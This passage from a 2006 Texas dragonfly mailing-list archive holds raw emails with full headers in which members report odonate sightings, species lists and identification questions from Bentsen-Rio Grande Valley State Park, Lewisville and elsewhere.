at least 17 species in what had to have been less than half an hour, mostly while taking down and re-hanging hummingbird feeders. Still have not seen any species of Gomphid yet this year though... And have yet to see a Black Saddlebags in 2006, though Reds are common, and apparently so are Striped in some places. BTW, the most recent issue of the TPWD magazine, with the hummingbird on the cover, has a stunning photo of a Checkered Setwing (Dythemis fugax) on the inside front cover, I think by Larry Ditto. Smoky Rubyspot (H. titia) 1 female on irrigation canal Blue-fronted Dancer (Argia apicalis) 1 male on canal Blue-ringed Dancer (A. sedula) several males on canal Dusky Dancer (A. translata) one male on canal Powdered Dancer (A. moesta) one male on the pond in the butterfly garden Familiar Bluet (Enallagma civile) a few males on the pond Rambur's Forktail (Ischnura ramburii) a tandem pair on the pond Black Setwing (D. nigrescens) a male on the pond Eastern Pondhawk (Erythemis simplicicollis) a few males on the pond Great Pondhawk (E. vesiculosa) a male on the pond Band-winged Dragonlet (Erythrodiplax umbrata) a male on the pond Spot-tailed Dasher (Micrathyria aequalis) 2 males on the pond Roseate Skimmer (Orthemis ferruginea) 2+ males, 1-2 ovipositing females on the pond Blue Dasher (Pachydiplax longipennis) 1-2 males on the pond Wandering Glider (Pantala flavescens) a LOT; some near the pond, most along the roadside Spot-winged Glider (P. hymenea) one hovering low over the pond, probably others roadside Red Saddlebags (Tramea onusta) a couple on the pond, more roadside Cheers, Josh Joshua S. Rose, Ph.D. Program Specialist World Birding Center Bentsen-Rio Grande Valley State Park joshua.rose@... 956-584-9156 x 236 X-Yahoo-Message-Num: 911 >From lgduhon@... Thu Apr 27 13:29:32 2006 Return-Path: X-Sender: lgduhon@... X-Apparently-To: TexOdes@yahoogroups.com Received: (qmail 32881 invoked from network); 27 Apr 2006 20:27:47 -0000 Received: from unknown (66.218.66.167) by m31.grp.scd.yahoo.com with QMQP; 27 Apr 2006 20:27:47 -0000 Received: from unknown (HELO rwcrmhc12.comcast.net) (216.148.227.152) by mta6.grp.scd.yahoo.com with SMTP; 27 Apr 2006 20:27:47 -0000 Received: from lawrenceduhon (c-24-2-0-68.hsd1.tx.comcast.net[24.2.0.68]) by comcast.net (rwcrmhc12) with SMTP id <20060427202714m1200csllle>; Thu, 27 Apr 2006 20:27:14 +0000 To: ""'TexOdes'"" Date: Thu, 27 Apr 2006 15:27:02 -0500 Message-ID: <002601c66a38$f5fdc680$3f20fea9@LAWRENCEDUHON> MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.6626 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2869 Importance: Normal X-Originating-IP: 216.148.227.152 X-eGroups-Msg-Info: 1:12:0:0 From: ""Lawrence Duhon"" Subject: first Desert Firetails -- Lewisville X-Yahoo-Group-Post: member; u=228133302; y=7iemkEyL41Q1oDKWA_NuRcOw-kHuP7tDLiyoPvHUD-dbhUXKdLnDVQlT X-Yahoo-Profile: reachallpeoples Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit I was pleased to see several Desert Firetails (Telebasis salva) -- mating pairs and patrolling males-around my small backyard pond today. These may have just emerged from last year's breeders here. For some of last year's photos, see http://www.duhons.net/Telebasis_salva.htm . The only other yard ode that I saw today was a Black Saddlebags. Lawrence Duhon Lewisville, TX [Non-text portions of this message have been removed] X-Yahoo-Message-Num: 912 >From joshua.rose@... Sat Apr 29 14:26:55 2006 Return-Path: X-Sender: Joshua.Rose@... X-Apparently-To: TexOdes@yahoogroups.com Received: (qmail 54132 invoked from network); 29 Apr 2006 21:26:55 -0000 Received: from unknown (66.218.67.35) by m23.grp.scd.yahoo.com with QMQP; 29 Apr 2006 21:26:55 -0000 Received: from unknown (HELO tpwd-mx5.tpwd.state.tx.us) (204.64.18.57) by mta9.grp.scd.yahoo.com with SMTP; 29 Apr 2006 21:26:55 -0000 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable Date: Sat, 29 Apr 2006 16:27:56 -0500 Message-ID: <827161E077DB2040AA22D85F86FF2173340C04@...> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Bentsen odes 4-29-06: FOY threadtail and clubtail Thread-Index: AcZr08gs0KCYdiIiRIOixvRaGHCqtQ== To: ""TexOdes"" X-Originating-IP: 204.64.18.57 X-eGroups-Msg-Info: 1:12:0:0 From: ""Joshua Rose"" Subject: Bentsen odes 4-29-06: FOY threadtail and clubtail X-Yahoo-Group-Post: member; u=242093430; y=LE4d_WbGYLSiLpqafH_c2nKbocFoNE-xCkQQ7IhsoEJm X-Yahoo-Profile: dnhs99 Howdy folks, Two long-awaited seasonal firsts today. I know lots of other people have been seeing clubtails for weeks, including Dave Hanson here in the LRGV, but it took me here at Bentsen-RGV State Park until yesterday to see one, and until today to identify one. Yesterday's looked to be some sort of forcepstail (Aphylla sp.), but just as I spotted it, a cloud passed over, the wind gusted much higher, and the dragon flew around the canal a few times and away. Today, during the butterfly walk, I flushed a clubtail up into a small tree, where it perched long enough for me to recognize it as Russet-tipped (Stylurus plagiatus). Also during the butterfly walk, I crossed the irrigation canal, and checked from the bridge for Caribbean Yellowface. No luck there, but even better: I spotted a long, thin, dark damsel with a brilliant orange thorax. Amelia's Threadtail (Neoneura amelia)! I had seen this one once before, at Anzalduas just after one of the Dragonfly Days festivals, but never again until now. Funny thing was, Terry Fuller came through the park earlier today, and asked if I'd been to Anzalduas to look for threadtails, prophetic... Cheers, Josh Joshua S. Rose, Ph.D. Program Specialist World Birding Center Bentsen-Rio Grande Valley State Park joshua.rose@... 956-584-9156 x 236 =20 X-Yahoo-Message-Num: 913 >From lgduhon@... Sun Apr 30 18:33:00 2006 Return-Path: X-Sender: lgduhon@... X-Apparently-To: TexOdes@yahoogroups.com Received: (qmail 85533 invoked from network); 1 May 2006 01:26:33 -0000 Received: from unknown (66.218.67.36) by m33.grp.scd.yahoo.com with QMQP; 1 May 2006 01:26:33 -0000 Received: from unknown (HELO rwcrmhc12.comcast.net) (216.148.227.152) by mta10.grp.scd.yahoo.com with SMTP; 1 May 2006 01:26:33 -0000 Received: from lawrenceduhon (c-24-2-0-68.hsd1.tx.comcast.net[24.2.0.68]) by comcast.net (rwcrmhc12) with SMTP id <20060501004630m1200ctihke>; Mon, 1 May 2006 00:46:30 +0000 To: ""TexOdes"" Date: Sun, 30 Apr 2006 19:46:18 -0500 Message-ID: <000b01c66cb8$ac057960$3f20fea9@LAWRENCEDUHON> MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.6626 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2869 Importance: Normal X-Originating-IP: 216.148.227.152 X-eGroups-Msg-Info: 1:12:0:0 From: ""Lawrence Duhon"" Subject: FOS Neon Skimmer emerged today -- Lewisville X-Yahoo-Group-Post: member; u=228133302; y=6Bdf1QmbkFNGijRJO8KvR_fu81OZOvkVJ78y9KZAAATY_7-rNnkn-VUp X-Yahoo-Profile: reachallpeoples Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit I was out in my yard this afternoon and saw my first bright-red male Neon Skimmer of the year. Later on, I discover its exuvia on a plant next to my backyard pond. A photo of this shell is at the bottom of this web page: http://www.duhons.net/Libellula_croceipennis.htm . This was my first time to find one of these, and I thought it was interesting-especially given the fact that I helped ""raise"" this one in my own backyard! Also seen here today were mating Desert Firetails and several Black Saddlebags. Lawrence Duhon Lewisville, TX http://www.duhons.net/odonates.htm [Non-text portions of this message have been removed] X-Yahoo-Message-Num: 914 >From lgduhon@... Mon May 01 13:09:04 2006 Return-Path: X-Sender: lgduhon@... X-Apparently-To: TexOdes@yahoogroups.com Received: (qmail 41616 invoked from network); 1 May 2006 20:09:03 -0000 Received: from unknown (66.218.67.35) by m4.grp.scd.yahoo.com with QMQP; 1 May 2006 20:09:03 -0000 Received: from unknown (HELO sccrmhc14.comcast.net) (63.240.77.84) by mta9.grp.scd.yahoo.com with SMTP; 1 May 2006 20:09:03 -0000 Received: from lawrenceduhon (c-24-2-0-68.hsd1.tx.comcast.net[24.2.0.68]) by comcast.net (sccrmhc14) with SMTP id <20060501194528014001t9cre>; Mon, 1 May 2006 19:45:28 +0000 To: ""TexOdes"" Date: Mon, 1 May 2006 14:45:16 -0500 Message-ID: <002d01c66d57$c83fe210$3f20fea9@LAWRENCEDUHON> MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.6626 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2869 Importance: Normal X-Originating-IP: 63.240.77.84 X-eGroups-Msg-Info: 1:12:0:0 From: ""Lawrence Duhon"" Subject: exuvia ID correction X-Yahoo-Group-Post: member; u=228133302; y=WlYuHPCScGykhx-EeAAZZJFGwUuThtoSEB1SiI3uFuv8U3SlZGjiKWcC X-Yahoo-Profile: reachallpeoples Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Thanks to Dennis Paulson, I have corrected the ID on the exuvia I found in my backyard yesterday. It is a COMMON GREEN DARNER, not a Neon Skimmer (as I previously thought). The photo has been moved to the bottom of this page: http://www.duhons.net/Anax_junius.htm . In my yard today I have seen a lovely Neon Skimmer that lingered around for several hours, plus an early-morning Common Green Darner and several Desert Firetails. Lawrence Duhon Lewisville, TX www.duhons.net/odonates.htm [Non-text portions of this message have been removed] X-Yahoo-Message-Num: 915 >From MTHEINDEL@... Thu May 04 09:44:45 2006 Return-Path: X-Sender: MTHEINDEL@... X-Apparently-To: texodes@yahoogroups.com Received: (qmail 83695 invoked from network); 4 May 2006 16:44:01 -0000 Received: from unknown (66.218.66.216) by m28.grp.scd.yahoo.com with QMQP; 4 May 2006 16:44:01 -0000 Received: from unknown (HELO imo-m21.mx.aol.com) (64.12.137.2) by mta1.grp.scd.yahoo.com with SMTP; 4 May 2006 16:44:01 -0000 Received: from MTHEINDEL@... by imo-m21.mx.aol.com (mail_out_v38_r7.5.) id r.24b.b052887 (5709) for ; Thu, 4 May 2006 12:40:45 -0400 (EDT) Received: from matt.crlsca.adelphia.net (carlsbad-cuda-6-67-23-37-19.crlsca.adelphia.net [67.23.37.19]) by air-id04.mail.aol.com (vx) with ESMTP id MAILINID42-164d445a2e8c94; Thu, 04 May 2006 12:40:45 -0400 To: texodes@yahoogroups.com Message-ID: <3ee44f6d.770a.4245.a215.92403a49de19@...> X-Mailer: Copland Mail 1.2.5.1 MIME-Version: 1.0 X-AOL-IP: 67.23.37.19 Date: Thu, 4 May 2006 12:40:45 EDT X-Spam-Flag: NO X-Originating-IP: 64.12.137.2 X-eGroups-Msg-Info: 1:12:0:0 From: MTHEINDEL Subject: Banded Pennant early date Lost Maples X-Yahoo-Group-Post: member; u=20361022 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sorry for the late posting, but I have just returned home to a computer. On Sunday 30 April, while playing at Lost Maples, I flushed a Banded Pennant Celithemis fasciata. When I lived in TX, I usually encountered this species in late May or June, so thought it was early. So, I went after it with my camera but came up with nothing. It appeared to be a fairly recent emergent as it flew into grass, where I lost it twice; it was not perching in the open. It last flew into some short trees where I lost it, on the north side of the pond (where they are typically found) in late spring. On the Odonata Central site, 7 May is the earliest record. Since I had only a sighting, perhaps one of the locals can move the early date up a couple of days. Other ode activity was decent, but nothing other than the usual suspects in modest numbers. Beautiful spot, as always and a great way to spend a day. Matt Heindel Carlsbad, CA [Non-text portions of this message have been removed] X-Yahoo-Message-Num: 916 >From joshua.rose@... Fri May 05 15:00:07 2006 Return-Path: X-Sender: Joshua.Rose@... X-Apparently-To: TexOdes@yahoogroups.com Received: (qmail 79488 invoked from network); 5 May 2006 22:00:05 -0000 Received: from unknown (66.218.66.166) by m31.grp.scd.yahoo.com with QMQP; 5 May 2006 22:00:05 -0000 Received: from unknown (HELO tpwd-mx5.tpwd.state.tx.us) (204.64.18.57) by mta5.grp.scd.yahoo.com with SMTP; 5 May 2006 22:00:05 -0000 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable Date: Fri, 5 May 2006 17:01:32 -0500 Message-ID: <827161E077DB2040AA22D85F86FF2173340C16@...> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Finally, Gynacantha! Thread-Index: AcZwj3fXTNAxf4jvTGK1EDzZs2epyg== To: ""TexOdes"" X-Originating-IP: 204.64.18.57 X-eGroups-Msg-Info: 1:12:0:0 From: ""Joshua Rose"" Subject: Finally, Gynacantha! X-Yahoo-Group-Post: member; u=242093430; y=erZYzc7-gEDK31h66wv6Ivzq397QLDP_D1cgrL7qfy2L X-Yahoo-Profile: dnhs99 Howdy folks, Bar-sided Darner (Gynacantha mexicana) is sort of the Clay-colored Robin of the odonates: once an exclamation-point rarity, now - whether due to our greater awareness or the species' change in distribution - a regular LRGV occurrence. As recently as 1998, had never been recorded in the US. First photo, 1999; first specimen, 2000. Nearly all of the records have been from Santa Ana NWR, though I know of at least two specimens and one photo from the Valley Nature Center, and three specimens from a hospital in Harlingen (the same hospital where my son was just born last month, wierdly enough). Given the small number of people looking at dragonflies, and Gynacantha's crepuscular habits, it has been widely speculated that the species is more common and widespread in the LRGV than was previously thought. With all this presumed abundance, and especially after Dennis Paulson and John Abbott came down here last fall and found dozens of G. mexicana emerging from wetlands at Santa Ana, I've been expecting since my arrival to find the species here at Bentsen-RGV State Park. And... I've been frustrated. A few brief sightings of large dragons foraging around dusk, but I have been unable to find *any* darner species here at Bentsen other than Anax junius, the Common Green Darner. Until today! I was walking from my office for a totally unrelated reason and spotted a large dragon roosting in the ample shade of the World Birding Center's unorthodox roof. In binoculars, sure enough, Gynacantha mexicana! Not a new county record, but a first for the park, so far as I know. I ran back to my office for the camera and snapped a few photos just in case. Little else new to report here. Four-spotted Pennant (Brachymesia furcata) first showed up last weekend and seems to be getting more common, along with other typical LRGV pond species: Roseate Skimmer, Red-tailed Pennant, Black Setwing, Spot-tailed Dasher, Eastern and Great Pondhawk. I've checked several times for another Caribbean Yellowface or Amelia's Threadtail on the canal without success (have not made it to the Rio Grande since mid- or late March). Still have not seen my first Black Saddlebags of the year, though I did see someone else report one north of here, and Red Saddlebags is common, as is something that is either Striped Saddlebags or Hyacinth Glider (or both). I'm guessing Striped Saddlebags, as we have virtually no Water Hyacinth in or near the park... Cheers, Josh Joshua S. Rose, Ph.D. Program Specialist World Birding Center Bentsen-Rio Grande Valley State Park joshua.rose@... 956-584-9156 x 236 X-Yahoo-Message-Num: 917 >From lgduhon@... Sat May 06 14:06:00 2006 Return-Path: X-Sender: lgduhon@... X-Apparently-To: TexOdes@yahoogroups.com Received: (qmail 33528 invoked from network); 6 May 2006 21:00:32 -0000 Received: from unknown (66.218.67.33) by m28.grp.scd.yahoo.com with QMQP; 6 May 2006 21:00:32 -0000 Received: from unknown (HELO sccrmhc14.comcast.net) (204.127.200.84) by mta7.grp.scd.yahoo.com with SMTP; 6 May 2006 21:00:31 -0000 Received: from lawrenceduhon (c-24-2-0-68.hsd1.tx.comcast.net[24.2.0.68]) by comcast.net (sccrmhc14) with SMTP id <2006050620301201400kd7hie>; Sat, 6 May 2006 20:30:12 +0000 To: ""'TexOdes'"" Date: Sat, 6 May 2006 15:29:52 -0500 Message-ID: <000c01c6714b$d9a08760$3f20fea9@LAWRENCEDUHON> MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.6626 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2869 Importance: Normal X-Originating-IP: 204.127.200.84 X-eGroups-Msg-Info: 1:12:0:0 From: ""Lawrence Duhon"" Subject: Lewisville Odes -- May 5-6 X-Yahoo-Group-Post: member; u=228133302; y=5K9PfyrbENoD5tYSBk4kYWHN53NqflaUn5Ko8iaH7IWA2nKZuw1ZsUDa X-Yahoo-Profile: reachallpeoples Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit On Friday (5/5) and Saturday (5/6) I led morning butterfly/dragonfly walks at the Lewisville Lake Environmental Learning Area [LLELA] in Lewisville. The weather was cool and overcast the entire time after overnight heavy rains each of the previous nights. Despite these poor viewing conditions, we were able to find the following 10 species on one or both days: American Rubyspot Great Spreadwing (FOS) Southern Spreadwing Familiar Bluet Jade Clubtail (FOS) Eastern Pondhawk Band-winged Dragonlet Neon Skimmer Common Whitetail Variegated Meadowhawk Photos of the Southern Spreadwing, Jade Clubtail, and Band-winged Dragonlet (female) have been added to my odonate web page: http://www.duhons.net/odonates.htm . Lawrence Duhon Lewisville, TX [Non-text portions of this message have been removed] X-Yahoo-Message-Num: 918 >From joshua.rose@... Sat May 06 15:17:44 2006 Return-Path: X-Sender: Joshua.Rose@... X-Apparently-To: TexOdes@yahoogroups.com Received: (qmail 85316 invoked from network); 6 May 2006 22:17:43 -0000 Received: from unknown (66.218.66.218) by m35.grp.scd.yahoo.com with QMQP; 6 May 2006 22:17:43 -0000 Received: from unknown (HELO tpwd-mx5.tpwd.state.tx.us) (204.64.18.57) by mta3.grp.scd.yahoo.com with SMTP; 6 May 2006 22:17:43 -0000 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable Date: Sat, 6 May 2006 17:19:09 -0500 Message-ID: <827161E077DB2040AA22D85F86FF217302F66410@...> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: TWO threadtail species at Bentsen! Damsel madness 5-6-06 Thread-Index: AcZxWxhqNgeQQ/qeT9SuDUddEZYi8w== To: ""TexOdes"" X-Originating-IP: 204.64.18.57 X-eGroups-Msg-Info: 1:12:0:0 From: ""Joshua Rose"" Subject: TWO threadtail species at Bentsen! Damsel madness 5-6-06 X-Yahoo-Group-Post: member; u=242093430; y=dLgxbkXBcMWT4k57e3BlkCuUYfpRQVFXS63MzMZJ1jcS X-Yahoo-Profile: dnhs99 Howdy folks, Saturday is supposed to be the day I survey butterflies, and Sunday dragonflies. At least until we switch to the summertime schedule, when they'll be Monday and Friday. Anway, I was putting out butterfly bait. It was one week ago, while doing this, that I spotted the Amelia's Threadtail (Neoneura amelia) on the irrigation canal. So, as I was doing the same task this week, I scanned the canal again. Only inches from where the Amelia's was last week, I spotted a Coral-fronted Threadtail (N. aaroni)! This species is rare enough that it's not yet on the Hidalgo County checklist at Odonata Central. I believe the first county record was just under one year ago at Anzalduas County Park, photographed by Dennis Paulson. Otherwise it's only been seen upriver at San Ygnacio (above Falcon Dam), and in the Hill Country. So I dropped butterflies from my brain and ran back to the office for the camera. On my way back to the bridge, I spotted my third Caribbean Yellowface (Neoerythromma cultellatum) of the year. When I got back, I found... another Amelia's?! This threw me. Had I misidentified the first damsel? I scanned the area, but the only other damsel around was a Neotropical Bluet (Enallagma novahispaniae). I photographed these two, a little confused. Then it occurred to me to turn around and check upstream of the bridge. Another Yellowface was there, and assorted bluets and dancers. And then, another threadtail! Looked like aaroni, but the light was much worse, and the damsel uncooperative, so I could not quite convince myself, much less get a decent photo. I returned to the downstream end. Wandered off the bridge to the canal bank to get some photos of the Amelia's from more of a lateral view. Then the Coral-fronted reappeared! I finally managed to get a few photos, confirming that I really did have both species of Neoneura, and did not just imagine one or both. After that I spotted another damsel which still somewhat mystifies me. It was perched, and stayed there for a while, allowing both Dave Hanson (who showed up later with Mary Gustafson) and myself to get some decent photos. It may just have been an Orange Bluet (Enallagma signatum), the pattern matched that species. However, most of the body coloration was distinctly yellow, not orange! The only noticeable orange on the critter was on its face and eyes, and a bit in the terminal spot (abdominal segment 9, I think). I tried to make it into the third threadtail, the Orange-striped, but that's no more yellow than the Bluet and lacks the terminal spot. I tried Vesper or Golden Bluet, but their spots should be blue, not yellow. Anyone have any ideas what this last critter was? Does the female E. signatum have a male-like form that might be yellower but still have the male's tail-spot? Or might the male be yellow rather than orange when newly emerged? Are there any Mexican species that might resemble a yellow E. signatum? Or is the sleep deprivation of the new father, combined with the south Texas heat, just turning my brain into jello? Oh, well. Dave says that Greg Lasley and John Abbott will be here tomorrow. Hopefully this yellow damsel will be too... Photos of all of the above will appear on BugGuide once I get the photos uploaded to the computer, hopefully within the next week or two. Cheers, Josh Joshua S. Rose, Ph.D. Program Specialist World Birding Center Bentsen-Rio Grande Valley State Park joshua.rose@... 956-584-9156 x 236 X-Yahoo-Message-Num: 919 >From joshua.rose@... Sun May 07 15:30:06 2006 Return-Path: X-Sender: Joshua.Rose@... X-Apparently-To: TexOdes@yahoogroups.com Received: (qmail 68832 invoked from network); 7 May 2006 22:30:04 -0000 Received: from unknown (66.218.66.218) by m32.grp.scd.yahoo.com with QMQP; 7 May 2006 22:30:04 -0000 Received: from unknown (HELO tpwd-mx5.tpwd.state.tx.us) (204.64.18.57) by mta3.grp.scd.yahoo.com with SMTP; 7 May 2006 22:30:04 -0000 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable Date: Sun, 7 May 2006 17:31:30 -0500 Message-ID: <827161E077DB2040AA22D85F86FF217302F66413@...> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Bentsen odes 5-7-06 Thread-Index: AcZyJfxfv2QB4eVjRPydMLzs08iAuw== To: ""TexOdes"" X-Originating-IP: 204.64.18.57 X-eGroups-Msg-Info: 1:12:0:0 From: ""Joshua Rose"" Subject: Bentsen odes 5-7-06 X-Yahoo-Group-Post: member; u=242093430; y=TzKLwRUNPgidf9SbaJJ-4bI6xgOwRjw1awC-eocExrGE X-Yahoo-Profile: dnhs99 Howdy folks, Did not get in until 1 PM today. Checked immediately and found both threadtail species still present. Then spotted a funny-looking female damsel, which before too long formed a tandem with one of the male Amelia's Threadtails and started ovipositing! Called Dave Hanson; by the time he arrived the Coral-fronted Threadtail (Neoneura aaroni) was gone, much scanning and searching failed to relocate it. My late arrival forced me to miss connecting with John Abbott and Greg Lasley, who apparently spent the morning at NABA looking at clubtails. Those they got in-hand turned out to be Sulphur-tipped (Gomphus militaris). I have not seen a clubtail of any species here since my previously reported Stylurus; for that matter, it occurs to me now, I have not seen a darner of any species in weeks, with the exception of my Bar-sided a few days ago. And I do not think I have seen any spreadwings here since early January. Also have yet to see my first Thornbush Dasher (Micrathyria hagenii) of the year. Our garden pond has been dry for several days, possibly for cattail control, might be keeping a few species scarce. Dave also related sightings of Marl Pennant (Macrodiplax balteata) and Seaside Dragonlet (Erythrodiplax berenice) from NABA. A rundown of recent odonate sightings here: American Rubyspot (Haeterina americana) one on the canal; I thought it was H. titia based on its dull body color, but Dave noted that the wings were those of H. americana Amelia's Threadtail (Neoneura amelia) two males, one female on the canal today; one male yesterday Coral-fronted Threadtail (N. aaroni) one male on the canal yesterday and today Blue-fronted Dancer (Argia apicalis) fairly common Blue-ringed Dancer (A. sedula) maybe the most abundant damsel right now Dusky Dancer (A. translata) a couple of males on the canal Double-striped Bluet (Enallagma basidens) a couple of males, one tandem pair on the canal today Familiar Bluet (E. civile) one tandem pair today, a few males yesterday, on the canal Neotropical Bluet (E. novahispaniae) a few males on the canal today Orange Bluet (E. signatum) one suspiciously yellow-looking individual yesterday, probably this species Rambur's Forktail (Ischnura posita) one blue male on the canal today Caribbean Yellowface (Neoerythromma cultellatum) two males on the canal yesterday Bar-sided Darner (Gynacantha mexicana) one roosting on the building Friday Prince Baskettail (Ephitheca princeps) one patrolling on the resaca Friday Red-tailed Pennant (Brachymesia furcata) becoming common on the resaca and near the hawk tower Four-spotted Pennant (B. gravida) a few on the resaca and canal Friday and yesterday Black Setwing (Dythemis nigrescens) might be the most common dragon now other than gliders and saddlebags Eastern Pondhawk (Erythemis simplicicollis) a few female/imm. types scattered around Great Pondhawk (E. vesiculosa) becoming easier to find along roadsides and trails Band-winged Dragonlet (Erythrodiplax umbrata) fairly common along trails, roadsides, and in the garden Spot-tailed Dasher (Micrathyria aequalis) becoming regular on the resaca Roseate Skimmer (Orthemis ferruginea) present but less common than expected, mostly garden and roadside Blue Dasher (Pachydiplax balteata) one male today, others around, also less common than expected Wandering Glider (Pantala flavescens) probably most abundant dragon Spot-winged Glider (P. hymenea) not common but can usually pick one out of the many flavescens Eastern Amberwing (Perithemis tenera) one male on the canal today, a few on the resaca Friday Striped Saddlebags (Tramea calverti) am seeing many of what I think is this species near the hawk tower Red Saddlebags (T. onusta) less common than earlier in the spring; still have yet to see a Black! So, getting 20-plus species on a day in the park is easy, do not think I can crack 30 yet without disproportionate effort... Cheers, Josh Joshua S. Rose, Ph.D. Program Specialist World Birding Center Bentsen-Rio Grande Valley State Park joshua.rose@... 956-584-9156 x 236 X-Yahoo-Message-Num: 920 >From joshua.rose@... Sat May 13 15:47:31 2006 Return-Path: X-Sender: Joshua.Rose@... X-Apparently-To: TexOdes@yahoogroups.com Received: (qmail 46502 invoked from network); 13 May 2006 22:47:31 -0000 Received: from unknown (66.218.67.34) by m7.grp.scd.yahoo.com with QMQP; 13 May 2006 22:47:31 -0000 Received: from unknown (HELO tpwd-mx5.tpwd.state.tx.us) (204.64.18.57) by mta8.grp.scd.yahoo.com with SMTP; 13 May 2006 22:47:30 -0000 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 Date: Sat, 13 May 2006 17:49:04 -0500 Message-ID: <827161E077DB2040AA22D85F86FF217302F66420@...> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: VNC, 5-13-06 Thread-Index: AcZ2328gqWk8OdmzQTe7vicTTfDCVA== To: ""TexOdes"" X-Originating-IP: 204.64.18.57 X-eGroups-Msg-Info: 1:12:0:0 From: ""Joshua Rose"" Subject: VNC, 5-13-06 X-Yahoo-Group-Post: member; u=242093430; y=QAJIqYdVbblslxYZEYjPqLoHOab7vlRNVV7d-NcwGtfa X-Yahoo-Profile: dnhs99 Howdy folks, Spent this morning and early afternoon at the Valley Nature Center in Weslaco, where they were having their family dragonfly day. Saw only five odonate species, but they were good ones! In order of increasing rarity: Band-winged Dragonlet (Erythrodiplax umbrata) one immature in the brush Great Pondhawk (Erythemis vesiculosa) one patrolling a sunny, open garden patch Desert Firetail (Telebasis salva) a LOT, several mating and ovipositing, mostly in the vicinity of the seep/spring/pond thing Slough Amberwing (Perithemis domitia) two males, one teneral, same location as the Telebasis a third male in the muddy resaca near the cactus garden Carmine Skimmer (Orthemis discolor) a lifer for me! Several males on the concrete resaca, at least two males and one ovipositing female on the muddy resaca Cheers, Josh Joshua S. Rose, Ph.D. Program Specialist World Birding Center Bentsen-Rio Grande Valley State Park joshua.rose@... 956-584-9156 x 236 =20 X-Yahoo-Message-Num: 921 >From joshua.rose@... Thu May 18 15:49:21 2006 Return-Path: X-Sender: Joshua.Rose@... X-Apparently-To: TexOdes@yahoogroups.com Received: (qmail 19308 invoked from network); 18 May 2006 22:49:18 -0000 Received: from unknown (66.218.67.36) by m32.grp.scd.yahoo.com with QMQP; 18 May 2006 22:49:18 -0000 Received: from unknown (HELO tpwd-mx5.tpwd.state.tx.us) (204.64.18.57) by mta10.grp.scd.yahoo.com with SMTP; 18 May 2006 22:49:18 -0000 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable Date: Thu, 18 May 2006 17:50:47 -0500 Message-ID: <827161E077DB2040AA22D85F86FF2173018558DF@...> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Bar-sided Darner again; also Citrine Forktail and something else Thread-Index: AcZ6zY57mJ3arz69SyWDai8Ig8JYxA== To: ""TexOdes"" X-Originating-IP: 204.64.18.57 X-eGroups-Msg-Info: 1:12:0:0 From: ""Joshua Rose"" Subject: Bar-sided Darner again; also Citrine Forktail and something else X-Yahoo-Group-Post: member; u=242093430; y=vbkkTt0hi5xaxA6_-EhC2lWhHlYrGlvIlynmm9PS7igk X-Yahoo-Profile: dnhs99 Howdy folks, Briefly saw a Bar-sided Darner (Gynacantha mexicana) again today, perched in a shady nook on the outside of one of the World Birding Center buildings at Bentsen-Rio Grande Valley State Park. It disappeared before I could return with a camera. I guess someday this will seem like an everyday occurrence, but as for now, I think I've seen no more than 3-4 of these critters alive. Also photographed an orange female Citrine Forktail (Ischnura hastata) in the butterfly garden this afternoon. Believe it or not, this is the first time I've seen the species in the park! Looooong overdue... Photographed one other ode, a very dull little skimmer. Not yet certain of species. Probably a female Band-winged Dragonlet, but I might e-mail the photos to a few people to be sure, once I get them uploaded. Cheers, Josh Joshua S. Rose, Ph.D. Program Specialist World Birding Center Bentsen-Rio Grande Valley State Park joshua.rose@... 956-584-9156 x 236 X-Yahoo-Message-Num: 922 >From joshua.rose@... Fri May 19 10:54:17 2006 Return-Path: X-Sender: Joshua.Rose@... X-Apparently-To: TexOdes@yahoogroups.com Received: (qmail 92103 invoked from network); 19 May 2006 17:54:11 -0000 Received: from unknown (66.218.66.167) by m34.grp.scd.yahoo.com with QMQP; 19 May 2006 17:54:11 -0000 Received: from unknown (HELO tpwd-mx5.tpwd.state.tx.us) (204.64.18.57) by mta6.grp.scd.yahoo.com with SMTP; 19 May 2006 17:54:11 -0000 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 content-class: urn:content-classes:message MIME-Version: 